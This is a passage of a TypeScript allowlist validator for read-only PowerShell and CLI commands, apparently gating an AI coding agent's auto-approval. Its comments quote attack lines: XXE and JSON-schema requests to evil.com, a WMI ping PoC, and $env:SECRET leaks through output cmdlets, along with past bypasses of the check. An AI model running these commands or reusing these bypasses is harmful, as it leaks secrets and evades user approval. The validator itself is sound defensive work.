| /** | |
| * PowerShell read-only command validation. | |
| * | |
| * Cmdlets are case-insensitive; all matching is done in lowercase. | |
| */ | |
| import type { | |
| ParsedCommandElement, | |
| ParsedPowerShellCommand, | |
| } from '../../utils/powershell/parser.js' | |
| type ParsedStatement = ParsedPowerShellCommand['statements'][number] | |
| import { getPlatform } from '../../utils/platform.js' | |
| import { | |
| COMMON_ALIASES, | |
| deriveSecurityFlags, | |
| getPipelineSegments, | |
| isNullRedirectionTarget, | |
| isPowerShellParameter, | |
| } from '../../utils/powershell/parser.js' | |
| import type { ExternalCommandConfig } from '../../utils/shell/readOnlyCommandValidation.js' | |
| import { | |
| DOCKER_READ_ONLY_COMMANDS, | |
| EXTERNAL_READONLY_COMMANDS, | |
| GH_READ_ONLY_COMMANDS, | |
| GIT_READ_ONLY_COMMANDS, | |
| validateFlags, | |
| } from '../../utils/shell/readOnlyCommandValidation.js' | |
| import { COMMON_PARAMETERS } from './commonParameters.js' | |
| const DOTNET_READ_ONLY_FLAGS = new Set([ | |
| '--version', | |
| '--info', | |
| '--list-runtimes', | |
| '--list-sdks', | |
| ]) | |
| type CommandConfig = { | |
| /** Safe subcommands or flags for this command */ | |
| safeFlags?: string[] | |
| /** | |
| * When true, all flags are allowed regardless of safeFlags. | |
| * Use for commands whose entire flag surface is read-only (e.g., hostname). | |
| * Without this, an empty/missing safeFlags rejects all flags (positional | |
| * args only). | |
| */ | |
| allowAllFlags?: boolean | |
| /** Regex constraint on the original command */ | |
| regex?: RegExp | |
| /** Additional validation callback - returns true if command is dangerous */ | |
| additionalCommandIsDangerousCallback?: ( | |
| command: string, | |
| element?: ParsedCommandElement, | |
| ) => boolean | |
| } | |
| /** | |
| * Shared callback for cmdlets that print or coerce their args to stdout/ | |
| * stderr. `Write-Output $env:SECRET` prints it directly; `Start-Sleep | |
| * $env:SECRET` leaks via type-coerce error ("Cannot convert value 'sk-...' | |
| * to System.Double"). Bash's echo regex WHITELISTS safe chars per token. | |
| * | |
| * Two checks: | |
| * 1. elementTypes whitelist — StringConstant (literals) + Parameter (flag | |
| * names). Rejects Variable, Other (HashtableAst/ConvertExpressionAst/ | |
| * BinaryExpressionAst all map to Other), ScriptBlock, SubExpression, | |
| * ExpandableString. Same pattern as SAFE_PATH_ELEMENT_TYPES. | |
| * 2. Colon-bound parameter value — `-InputObject:$env:SECRET` creates a | |
| * SINGLE CommandParameterAst; the VariableExpressionAst is its .Argument | |
| * child, not a separate CommandElement. elementTypes = [..., 'Parameter'], | |
| * whitelist passes. Query children[] for the .Argument's mapped type; | |
| * anything other than StringConstant (Variable, ParenExpression wrapping | |
| * arbitrary pipelines, Hashtable, etc.) is a leak vector. | |
| */ | |
| export function argLeaksValue( | |
| _cmd: string, | |
| element?: ParsedCommandElement, | |
| ): boolean { | |
| const argTypes = (element?.elementTypes ?? []).slice(1) | |
| const args = element?.args ?? [] | |
| const children = element?.children | |
| for (let i = 0; i < argTypes.length; i++) { | |
| if (argTypes[i] !== 'StringConstant' && argTypes[i] !== 'Parameter') { | |
| // ArrayLiteralAst (`Select-Object Name, Id`) maps to 'Other' — the | |
| // parse script only populates children for CommandParameterAst.Argument, | |
| // so we can't inspect elements. Fall back to string-archaeology on the | |
| // extent text: Hashtable has `@{`, ParenExpr has `(`, variables have | |
| // `$`, type literals have `[`, scriptblocks have `{`. A comma-list of | |
| // bare identifiers has none. `Name, $x` still rejects on `$`. | |
| if (!/[$(@{[]/.test(args[i] ?? '')) { | |
| continue | |
| } | |
| return true | |
| } | |
| if (argTypes[i] === 'Parameter') { | |
| const paramChildren = children?.[i] | |
| if (paramChildren) { | |
| if (paramChildren.some(c => c.type !== 'StringConstant')) { | |
| return true | |
| } | |
| } else { | |
| // Fallback: string-archaeology on arg text (pre-children parsers). | |
| // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array | |
| // sub), `{` (scriptblock), `[` (type literal/static method). | |
| const arg = args[i] ?? '' | |
| const colonIdx = arg.indexOf(':') | |
| if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) { | |
| return true | |
| } | |
| } | |
| } | |
| } | |
| return false | |
| } | |
| /** | |
| * Allowlist of PowerShell cmdlets that are considered read-only. | |
| * Each cmdlet maps to its configuration including safe flags. | |
| * | |
| * Note: PowerShell cmdlets are case-insensitive, so we store keys in lowercase | |
| * and normalize input for matching. | |
| * | |
| * Uses Object.create(null) to prevent prototype-chain pollution — attacker- | |
| * controlled command names like 'constructor' or '__proto__' must return | |
| * undefined, not inherited Object.prototype properties. Same defense as | |
| * COMMON_ALIASES in parser.ts. | |
| */ | |
| export const CMDLET_ALLOWLIST: Record<string, CommandConfig> = Object.assign( | |
| Object.create(null) as Record<string, CommandConfig>, | |
| { | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Filesystem (read-only) | |
| // ========================================================================= | |
| 'get-childitem': { | |
| safeFlags: [ | |
| '-Path', | |
| '-LiteralPath', | |
| '-Filter', | |
| '-Include', | |
| '-Exclude', | |
| '-Recurse', | |
| '-Depth', | |
| '-Name', | |
| '-Force', | |
| '-Attributes', | |
| '-Directory', | |
| '-File', | |
| '-Hidden', | |
| '-ReadOnly', | |
| '-System', | |
| ], | |
| }, | |
| 'get-content': { | |
| safeFlags: [ | |
| '-Path', | |
| '-LiteralPath', | |
| '-TotalCount', | |
| '-Head', | |
| '-Tail', | |
| '-Raw', | |
| '-Encoding', | |
| '-Delimiter', | |
| '-ReadCount', | |
| ], | |
| }, | |
| 'get-item': { | |
| safeFlags: ['-Path', '-LiteralPath', '-Force', '-Stream'], | |
| }, | |
| 'get-itemproperty': { | |
| safeFlags: ['-Path', '-LiteralPath', '-Name'], | |
| }, | |
| 'test-path': { | |
| safeFlags: [ | |
| '-Path', | |
| '-LiteralPath', | |
| '-PathType', | |
| '-Filter', | |
| '-Include', | |
| '-Exclude', | |
| '-IsValid', | |
| '-NewerThan', | |
| '-OlderThan', | |
| ], | |
| }, | |
| 'resolve-path': { | |
| safeFlags: ['-Path', '-LiteralPath', '-Relative'], | |
| }, | |
| 'get-filehash': { | |
| safeFlags: ['-Path', '-LiteralPath', '-Algorithm', '-InputStream'], | |
| }, | |
| 'get-acl': { | |
| safeFlags: [ | |
| '-Path', | |
| '-LiteralPath', | |
| '-Audit', | |
| '-Filter', | |
| '-Include', | |
| '-Exclude', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Navigation (read-only, just changes working directory) | |
| // ========================================================================= | |
| 'set-location': { | |
| safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'], | |
| }, | |
| 'push-location': { | |
| safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'], | |
| }, | |
| 'pop-location': { | |
| safeFlags: ['-PassThru', '-StackName'], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Text searching/filtering (read-only) | |
| // ========================================================================= | |
| 'select-string': { | |
| safeFlags: [ | |
| '-Path', | |
| '-LiteralPath', | |
| '-Pattern', | |
| '-InputObject', | |
| '-SimpleMatch', | |
| '-CaseSensitive', | |
| '-Quiet', | |
| '-List', | |
| '-NotMatch', | |
| '-AllMatches', | |
| '-Encoding', | |
| '-Context', | |
| '-Raw', | |
| '-NoEmphasis', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Data conversion (pure transforms, no side effects) | |
| // ========================================================================= | |
| 'convertto-json': { | |
| safeFlags: [ | |
| '-InputObject', | |
| '-Depth', | |
| '-Compress', | |
| '-EnumsAsStrings', | |
| '-AsArray', | |
| ], | |
| }, | |
| 'convertfrom-json': { | |
| safeFlags: ['-InputObject', '-Depth', '-AsHashtable', '-NoEnumerate'], | |
| }, | |
| 'convertto-csv': { | |
| safeFlags: [ | |
| '-InputObject', | |
| '-Delimiter', | |
| '-NoTypeInformation', | |
| '-NoHeader', | |
| '-UseQuotes', | |
| ], | |
| }, | |
| 'convertfrom-csv': { | |
| safeFlags: ['-InputObject', '-Delimiter', '-Header', '-UseCulture'], | |
| }, | |
| 'convertto-xml': { | |
| safeFlags: ['-InputObject', '-Depth', '-As', '-NoTypeInformation'], | |
| }, | |
| 'convertto-html': { | |
| safeFlags: [ | |
| '-InputObject', | |
| '-Property', | |
| '-Head', | |
| '-Title', | |
| '-Body', | |
| '-Pre', | |
| '-Post', | |
| '-As', | |
| '-Fragment', | |
| ], | |
| }, | |
| 'format-hex': { | |
| safeFlags: [ | |
| '-Path', | |
| '-LiteralPath', | |
| '-InputObject', | |
| '-Encoding', | |
| '-Count', | |
| '-Offset', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Object inspection and manipulation (read-only) | |
| // ========================================================================= | |
| 'get-member': { | |
| safeFlags: [ | |
| '-InputObject', | |
| '-MemberType', | |
| '-Name', | |
| '-Static', | |
| '-View', | |
| '-Force', | |
| ], | |
| }, | |
| 'get-unique': { | |
| safeFlags: ['-InputObject', '-AsString', '-CaseInsensitive', '-OnType'], | |
| }, | |
| 'compare-object': { | |
| safeFlags: [ | |
| '-ReferenceObject', | |
| '-DifferenceObject', | |
| '-Property', | |
| '-SyncWindow', | |
| '-CaseSensitive', | |
| '-Culture', | |
| '-ExcludeDifferent', | |
| '-IncludeEqual', | |
| '-PassThru', | |
| ], | |
| }, | |
| // SECURITY: select-xml REMOVED. XML external entity (XXE) resolution can | |
| // trigger network requests via DOCTYPE SYSTEM/PUBLIC references in -Content | |
| // or -Xml. `Select-Xml -Content '<!DOCTYPE x [<!ENTITY e SYSTEM | |
| // "http://evil.com/x">]><x>&e;</x>' -XPath '/'` sends a GET request. | |
| // PowerShell's XmlDocument.LoadXml doesn't disable entity resolution by | |
| // default. Removal forces prompt. | |
| 'join-string': { | |
| safeFlags: [ | |
| '-InputObject', | |
| '-Property', | |
| '-Separator', | |
| '-OutputPrefix', | |
| '-OutputSuffix', | |
| '-SingleQuote', | |
| '-DoubleQuote', | |
| '-FormatString', | |
| ], | |
| }, | |
| // SECURITY: Test-Json REMOVED. -Schema (positional 1) accepts JSON Schema | |
| // with $ref pointing to external URLs — Test-Json fetches them (network | |
| // request). safeFlags only validates EXPLICIT flags, not positional binding: | |
| // `Test-Json '{}' '{"$ref":"http://evil.com"}'` → position 1 binds to | |
| // -Schema → safeFlags check sees two non-flag args, skips both → auto-allow. | |
| 'get-random': { | |
| safeFlags: [ | |
| '-InputObject', | |
| '-Minimum', | |
| '-Maximum', | |
| '-Count', | |
| '-SetSeed', | |
| '-Shuffle', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Path utilities (read-only) | |
| // ========================================================================= | |
| // convert-path's entire purpose is to resolve filesystem paths. It is now | |
| // in CMDLET_PATH_CONFIG for proper path validation, so safeFlags here only | |
| // list the path parameters (which CMDLET_PATH_CONFIG will validate). | |
| 'convert-path': { | |
| safeFlags: ['-Path', '-LiteralPath'], | |
| }, | |
| 'join-path': { | |
| // -Resolve removed: it touches the filesystem to verify the joined path | |
| // exists, but the path was not validated against allowed directories. | |
| // Without -Resolve, Join-Path is pure string manipulation. | |
| safeFlags: ['-Path', '-ChildPath', '-AdditionalChildPath'], | |
| }, | |
| 'split-path': { | |
| // -Resolve removed: same rationale as join-path. Without -Resolve, | |
| // Split-Path is pure string manipulation. | |
| safeFlags: [ | |
| '-Path', | |
| '-LiteralPath', | |
| '-Qualifier', | |
| '-NoQualifier', | |
| '-Parent', | |
| '-Leaf', | |
| '-LeafBase', | |
| '-Extension', | |
| '-IsAbsolute', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Additional system info (read-only) | |
| // ========================================================================= | |
| // NOTE: Get-Clipboard is intentionally NOT included - it can expose sensitive | |
| // data like passwords or API keys that the user may have copied. Bash also | |
| // does not auto-allow clipboard commands (pbpaste, xclip, etc.). | |
| 'get-hotfix': { | |
| safeFlags: ['-Id', '-Description'], | |
| }, | |
| 'get-itempropertyvalue': { | |
| safeFlags: ['-Path', '-LiteralPath', '-Name'], | |
| }, | |
| 'get-psprovider': { | |
| safeFlags: ['-PSProvider'], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Process/System info | |
| // ========================================================================= | |
| 'get-process': { | |
| safeFlags: [ | |
| '-Name', | |
| '-Id', | |
| '-Module', | |
| '-FileVersionInfo', | |
| '-IncludeUserName', | |
| ], | |
| }, | |
| 'get-service': { | |
| safeFlags: [ | |
| '-Name', | |
| '-DisplayName', | |
| '-DependentServices', | |
| '-RequiredServices', | |
| '-Include', | |
| '-Exclude', | |
| ], | |
| }, | |
| 'get-computerinfo': { | |
| allowAllFlags: true, | |
| }, | |
| 'get-host': { | |
| allowAllFlags: true, | |
| }, | |
| 'get-date': { | |
| safeFlags: ['-Date', '-Format', '-UFormat', '-DisplayHint', '-AsUTC'], | |
| }, | |
| 'get-location': { | |
| safeFlags: ['-PSProvider', '-PSDrive', '-Stack', '-StackName'], | |
| }, | |
| 'get-psdrive': { | |
| safeFlags: ['-Name', '-PSProvider', '-Scope'], | |
| }, | |
| // SECURITY: Get-Command REMOVED from allowlist. -Name (positional 0, | |
| // ValueFromPipeline=true) triggers module autoload which runs .psm1 init | |
| // code. Chain attack: pre-plant module in PSModulePath, trigger autoload. | |
| // Previously tried removing -Name/-Module from safeFlags + rejecting | |
| // positional StringConstant, but pipeline input (`'EvilCmdlet' | Get-Command`) | |
| // bypasses the callback entirely since args are empty. Removal forces | |
| // prompt. Users who need it can add explicit allow rule. | |
| 'get-module': { | |
| safeFlags: [ | |
| '-Name', | |
| '-ListAvailable', | |
| '-All', | |
| '-FullyQualifiedName', | |
| '-PSEdition', | |
| ], | |
| }, | |
| // SECURITY: Get-Help REMOVED from allowlist. Same module autoload hazard | |
| // as Get-Command (-Name has ValueFromPipeline=true, pipeline input bypasses | |
| // arg-level callback). Removal forces prompt. | |
| 'get-alias': { | |
| safeFlags: ['-Name', '-Definition', '-Scope', '-Exclude'], | |
| }, | |
| 'get-history': { | |
| safeFlags: ['-Id', '-Count'], | |
| }, | |
| 'get-culture': { | |
| allowAllFlags: true, | |
| }, | |
| 'get-uiculture': { | |
| allowAllFlags: true, | |
| }, | |
| 'get-timezone': { | |
| safeFlags: ['-Name', '-Id', '-ListAvailable'], | |
| }, | |
| 'get-uptime': { | |
| allowAllFlags: true, | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Output & misc (no side effects) | |
| // ========================================================================= | |
| // Bash parity: `echo` is auto-allowed via custom regex (BashTool | |
| // readOnlyValidation.ts:~1517). That regex WHITELISTS safe chars per arg. | |
| // See argLeaksValue above for the three attack shapes it blocks. | |
| 'write-output': { | |
| safeFlags: ['-InputObject', '-NoEnumerate'], | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| // Write-Host bypasses the pipeline (Information stream, PS5+), so it's | |
| // strictly less capable than Write-Output — but the same | |
| // `Write-Host $env:SECRET` leak-via-display applies. | |
| 'write-host': { | |
| safeFlags: [ | |
| '-Object', | |
| '-NoNewline', | |
| '-Separator', | |
| '-ForegroundColor', | |
| '-BackgroundColor', | |
| ], | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| // Bash parity: `sleep` is in READONLY_COMMANDS (BashTool | |
| // readOnlyValidation.ts:~1146). Zero side effects at runtime — but | |
| // `Start-Sleep $env:SECRET` leaks via type-coerce error. Same guard. | |
| 'start-sleep': { | |
| safeFlags: ['-Seconds', '-Milliseconds', '-Duration'], | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| // Format-* and Measure-Object moved here from SAFE_OUTPUT_CMDLETS after | |
| // security review found all accept calculated-property hashtables (same | |
| // exploit as Where-Object — I4 regression). isSafeOutputCommand is a | |
| // NAME-ONLY check that filtered them out of the approval loop BEFORE arg | |
| // validation. Here, argLeaksValue validates args: | |
| // | Format-Table → no args → safe → allow | |
| // | Format-Table Name, CPU → StringConstant positionals → safe → allow | |
| // | Format-Table $env:SECRET → Variable elementType → blocked → passthrough | |
| // | Format-Table @{N='x';E={}} → Other (HashtableAst) → blocked → passthrough | |
| // | Measure-Object -Property $env:SECRET → same → blocked | |
| // allowAllFlags: argLeaksValue validates arg elementTypes (Variable/Hashtable/ | |
| // ScriptBlock → blocked). Format-* flags themselves (-AutoSize, -GroupBy, | |
| // -Wrap, etc.) are display-only. Without allowAllFlags, the empty-safeFlags | |
| // default rejects ALL flags — `Format-Table -AutoSize` would over-prompt. | |
| 'format-table': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'format-list': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'format-wide': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'format-custom': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'measure-object': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| // Select-Object/Sort-Object/Group-Object/Where-Object: same calculated- | |
| // property hashtable surface as format-* (about_Calculated_Properties). | |
| // Removed from SAFE_OUTPUT_CMDLETS but previously missing here, causing | |
| // `Get-Process | Select-Object Name` to over-prompt. argLeaksValue handles | |
| // them identically: StringConstant property names pass (`Select-Object Name`), | |
| // HashtableAst/ScriptBlock/Variable args block (`Select-Object @{N='x';E={...}}`, | |
| // `Where-Object { ... }`). allowAllFlags: -First/-Last/-Skip/-Descending/ | |
| // -Property/-EQ etc. are all selection/ordering flags — harmless on their own; | |
| // argLeaksValue catches the dangerous arg *values*. | |
| 'select-object': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'sort-object': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'group-object': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'where-object': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| // Out-String/Out-Host moved here from SAFE_OUTPUT_CMDLETS — both accept | |
| // -InputObject which leaks the same way Write-Output does. | |
| // `Get-Process | Out-String -InputObject $env:SECRET` → secret prints. | |
| // allowAllFlags: -Width/-Stream/-Paging/-NoNewline are display flags; | |
| // argLeaksValue catches the dangerous -InputObject *value*. | |
| 'out-string': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| 'out-host': { | |
| allowAllFlags: true, | |
| additionalCommandIsDangerousCallback: argLeaksValue, | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Network info (read-only) | |
| // ========================================================================= | |
| 'get-netadapter': { | |
| safeFlags: [ | |
| '-Name', | |
| '-InterfaceDescription', | |
| '-InterfaceIndex', | |
| '-Physical', | |
| ], | |
| }, | |
| 'get-netipaddress': { | |
| safeFlags: [ | |
| '-InterfaceIndex', | |
| '-InterfaceAlias', | |
| '-AddressFamily', | |
| '-Type', | |
| ], | |
| }, | |
| 'get-netipconfiguration': { | |
| safeFlags: ['-InterfaceIndex', '-InterfaceAlias', '-Detailed', '-All'], | |
| }, | |
| 'get-netroute': { | |
| safeFlags: [ | |
| '-InterfaceIndex', | |
| '-InterfaceAlias', | |
| '-AddressFamily', | |
| '-DestinationPrefix', | |
| ], | |
| }, | |
| 'get-dnsclientcache': { | |
| // SECURITY: -CimSession/-ThrottleLimit excluded. -CimSession connects to | |
| // a remote host (network request). Previously empty config = all flags OK. | |
| safeFlags: ['-Entry', '-Name', '-Type', '-Status', '-Section', '-Data'], | |
| }, | |
| 'get-dnsclient': { | |
| safeFlags: ['-InterfaceIndex', '-InterfaceAlias'], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - Event log (read-only) | |
| // ========================================================================= | |
| 'get-eventlog': { | |
| safeFlags: [ | |
| '-LogName', | |
| '-Newest', | |
| '-After', | |
| '-Before', | |
| '-EntryType', | |
| '-Index', | |
| '-InstanceId', | |
| '-Message', | |
| '-Source', | |
| '-UserName', | |
| '-AsBaseObject', | |
| '-List', | |
| ], | |
| }, | |
| 'get-winevent': { | |
| // SECURITY: -FilterXml/-FilterHashtable removed. -FilterXml accepts XML | |
| // with DOCTYPE external entities (XXE → network request). -FilterHashtable | |
| // would be caught by the elementTypes 'Other' check since @{} is | |
| // HashtableAst, but removal is explicit. Same XXE hazard as Select-Xml | |
| // (removed above). -FilterXPath kept (string pattern only, no entity | |
| // resolution). -ComputerName/-Credential also implicitly excluded. | |
| safeFlags: [ | |
| '-LogName', | |
| '-ListLog', | |
| '-ListProvider', | |
| '-ProviderName', | |
| '-Path', | |
| '-MaxEvents', | |
| '-FilterXPath', | |
| '-Force', | |
| '-Oldest', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // PowerShell Cmdlets - WMI/CIM | |
| // ========================================================================= | |
| // SECURITY: Get-WmiObject and Get-CimInstance REMOVED. They actively | |
| // trigger network requests via classes like Win32_PingStatus (sends ICMP | |
| // when enumerated) and can query remote computers via -ComputerName/ | |
| // CimSession. -Class/-ClassName/-Filter/-Query accept arbitrary WMI | |
| // classes/WQL that we cannot statically validate. | |
| // PoC: Get-WmiObject -Class Win32_PingStatus -Filter 'Address="evil.com"' | |
| // → sends ICMP to evil.com (DNS leak + potential NTLM auth leak). | |
| // WMI can also auto-load provider DLLs (init code). Removal forces prompt. | |
| // get-cimclass stays — only lists class metadata, no instance enumeration. | |
| 'get-cimclass': { | |
| safeFlags: [ | |
| '-ClassName', | |
| '-Namespace', | |
| '-MethodName', | |
| '-PropertyName', | |
| '-QualifierName', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // Git - uses shared external command validation with per-flag checking | |
| // ========================================================================= | |
| git: {}, | |
| // ========================================================================= | |
| // GitHub CLI (gh) - uses shared external command validation | |
| // ========================================================================= | |
| gh: {}, | |
| // ========================================================================= | |
| // Docker - uses shared external command validation | |
| // ========================================================================= | |
| docker: {}, | |
| // ========================================================================= | |
| // Windows-specific system commands | |
| // ========================================================================= | |
| ipconfig: { | |
| // SECURITY: On macOS, `ipconfig set <iface> <mode>` configures network | |
| // (writes system config). safeFlags only validates FLAGS, positional args | |
| // are SKIPPED. Reject any positional argument — only bare `ipconfig` or | |
| // `ipconfig /all` (read-only display) allowed. Windows ipconfig only uses | |
| // /flags (display), macOS ipconfig uses subcommands (get/set/waitall). | |
| safeFlags: ['/all', '/displaydns', '/allcompartments'], | |
| additionalCommandIsDangerousCallback: ( | |
| _cmd: string, | |
| element?: ParsedCommandElement, | |
| ) => { | |
| return (element?.args ?? []).some( | |
| a => !a.startsWith('/') && !a.startsWith('-'), | |
| ) | |
| }, | |
| }, | |
| netstat: { | |
| safeFlags: [ | |
| '-a', | |
| '-b', | |
| '-e', | |
| '-f', | |
| '-n', | |
| '-o', | |
| '-p', | |
| '-q', | |
| '-r', | |
| '-s', | |
| '-t', | |
| '-x', | |
| '-y', | |
| ], | |
| }, | |
| systeminfo: { | |
| safeFlags: ['/FO', '/NH'], | |
| }, | |
| tasklist: { | |
| safeFlags: ['/M', '/SVC', '/V', '/FI', '/FO', '/NH'], | |
| }, | |
| // where.exe: Windows PATH locator, bash `which` equivalent. Reaches here via | |
| // SAFE_EXTERNAL_EXES bypass at the nameType gate in isAllowlistedCommand. | |
| // All flags are read-only (/R /F /T /Q), matching bash's treatment of `which` | |
| // in BashTool READONLY_COMMANDS. | |
| 'where.exe': { | |
| allowAllFlags: true, | |
| }, | |
| hostname: { | |
| // SECURITY: `hostname NAME` on Linux/macOS SETS the hostname (writes to | |
| // system config). `hostname -F FILE` / `--file=FILE` also sets from file. | |
| // Only allow bare `hostname` and known read-only flags. | |
| safeFlags: ['-a', '-d', '-f', '-i', '-I', '-s', '-y', '-A'], | |
| additionalCommandIsDangerousCallback: ( | |
| _cmd: string, | |
| element?: ParsedCommandElement, | |
| ) => { | |
| // Reject any positional (non-flag) argument — sets hostname. | |
| return (element?.args ?? []).some(a => !a.startsWith('-')) | |
| }, | |
| }, | |
| whoami: { | |
| safeFlags: [ | |
| '/user', | |
| '/groups', | |
| '/claims', | |
| '/priv', | |
| '/logonid', | |
| '/all', | |
| '/fo', | |
| '/nh', | |
| ], | |
| }, | |
| ver: { | |
| allowAllFlags: true, | |
| }, | |
| arp: { | |
| safeFlags: ['-a', '-g', '-v', '-N'], | |
| }, | |
| route: { | |
| safeFlags: ['print', 'PRINT', '-4', '-6'], | |
| additionalCommandIsDangerousCallback: ( | |
| _cmd: string, | |
| element?: ParsedCommandElement, | |
| ) => { | |
| // SECURITY: route.exe syntax is `route [-f] [-p] [-4|-6] VERB [args...]`. | |
| // The first non-flag positional is the verb. `route add 10.0.0.0 mask | |
| // 255.0.0.0 192.168.1.1 print` adds a route (print is a trailing display | |
| // modifier). The old check used args.some('print') which matched 'print' | |
| // anywhere — position-insensitive. | |
| if (!element) { | |
| return true | |
| } | |
| const verb = element.args.find(a => !a.startsWith('-')) | |
| return verb?.toLowerCase() !== 'print' | |
| }, | |
| }, | |
| // netsh: intentionally NOT allowlisted. Three rounds of denylist gaps in PR | |
| // #22060 (verb position → dash flags → slash flags → more verbs) proved | |
| // the grammar is too complex to allowlist safely: 3-deep context nesting | |
| // (`netsh interface ipv4 show addresses`), dual-prefix flags (-f / /f), | |
| // script execution via -f and `exec`, remote RPC via -r, offline-mode | |
| // commit, wlan connect/disconnect, etc. Each denylist expansion revealed | |
| // another gap. `route` stays — `route print` is the only read-only form, | |
| // simple single-verb-position grammar. | |
| getmac: { | |
| safeFlags: ['/FO', '/NH', '/V'], | |
| }, | |
| // ========================================================================= | |
| // Cross-platform CLI tools | |
| // ========================================================================= | |
| // File inspection | |
| // SECURITY: file -C compiles a magic database and WRITES to disk. Only | |
| // allow introspection flags; reject -C / --compile / -m / --magic-file. | |
| file: { | |
| safeFlags: [ | |
| '-b', | |
| '--brief', | |
| '-i', | |
| '--mime', | |
| '-L', | |
| '--dereference', | |
| '--mime-type', | |
| '--mime-encoding', | |
| '-z', | |
| '--uncompress', | |
| '-p', | |
| '--preserve-date', | |
| '-k', | |
| '--keep-going', | |
| '-r', | |
| '--raw', | |
| '-v', | |
| '--version', | |
| '-0', | |
| '--print0', | |
| '-s', | |
| '--special-files', | |
| '-l', | |
| '-F', | |
| '--separator', | |
| '-e', | |
| '-P', | |
| '-N', | |
| '--no-pad', | |
| '-E', | |
| '--extension', | |
| ], | |
| }, | |
| tree: { | |
| safeFlags: ['/F', '/A', '/Q', '/L'], | |
| }, | |
| findstr: { | |
| safeFlags: [ | |
| '/B', | |
| '/E', | |
| '/L', | |
| '/R', | |
| '/S', | |
| '/I', | |
| '/X', | |
| '/V', | |
| '/N', | |
| '/M', | |
| '/O', | |
| '/P', | |
| // Flag matching strips ':' before comparison (e.g., /C:pattern → /C), | |
| // so these entries must NOT include the trailing colon. | |
| '/C', | |
| '/G', | |
| '/D', | |
| '/A', | |
| ], | |
| }, | |
| // ========================================================================= | |
| // Package managers - uses shared external command validation | |
| // ========================================================================= | |
| dotnet: {}, | |
| // SECURITY: man and help direct entries REMOVED. They aliased Get-Help | |
| // (also removed — see above). Without these entries, lookupAllowlist | |
| // resolves via COMMON_ALIASES to 'get-help' which is not in allowlist → | |
| // prompt. Same module-autoload hazard as Get-Help. | |
| }, | |
| ) | |
| /** | |
| * Safe output/formatting cmdlets that can receive piped input. | |
| * Stored as canonical cmdlet names in lowercase. | |
| */ | |
| const SAFE_OUTPUT_CMDLETS = new Set([ | |
| 'out-null', | |
| // NOT out-string/out-host — both accept -InputObject which leaks args the | |
| // same way Write-Output does. Moved to CMDLET_ALLOWLIST with argLeaksValue. | |
| // `Get-Process | Out-String -InputObject $env:SECRET` — Out-String was | |
| // filtered name-only, the $env arg was never validated. | |
| // out-null stays: it discards everything, no -InputObject leak. | |
| // NOT foreach-object / where-object / select-object / sort-object / | |
| // group-object / format-table / format-list / format-wide / format-custom / | |
| // measure-object — ALL accept calculated-property hashtables or script-block | |
| // predicates that evaluate arbitrary expressions at runtime | |
| // (about_Calculated_Properties). Examples: | |
| // Where-Object @{k=$env:SECRET} — HashtableAst arg, 'Other' elementType | |
| // Select-Object @{N='x';E={...}} — calculated property scriptblock | |
| // Format-Table $env:SECRET — positional -Property, prints as header | |
| // Measure-Object -Property $env:SECRET — leaks via "property 'sk-...' not found" | |
| // ForEach-Object { $env:PATH='e' } — arbitrary script body | |
| // isSafeOutputCommand is a NAME-ONLY check — step-5 filters these out of | |
| // the approval loop BEFORE arg validation runs. With them here, an | |
| // all-safe-output tail auto-allows on empty subCommands regardless of | |
| // what the arg contains. Removing them forces the tail through arg-level | |
| // validation (hashtable is 'Other' elementType → fails the whitelist at | |
| // isAllowlistedCommand → ask; bare $var is 'Variable' → same). | |
| // | |
| // NOT write-output — pipeline-initial $env:VAR is a VariableExpressionAst, | |
| // skipped by getSubCommandsForPermissionCheck (non-CommandAst). With | |
| // write-output here, `$env:SECRET | Write-Output` → WO filtered as | |
| // safe-output → empty subCommands → auto-allow → secret prints. The | |
| // CMDLET_ALLOWLIST entry handles direct `Write-Output 'literal'`. | |
| ]) | |
| /** | |
| * Cmdlets moved from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST with | |
| * argLeaksValue. These are pipeline-tail transformers (Format-*, | |
| * Measure-Object, Select-Object, etc.) that were previously name-only | |
| * filtered as safe-output. They now require arg validation (argLeaksValue | |
| * blocks calculated-property hashtables / scriptblocks / variable args). | |
| * | |
| * Used by isAllowlistedPipelineTail for the narrow fallback in | |
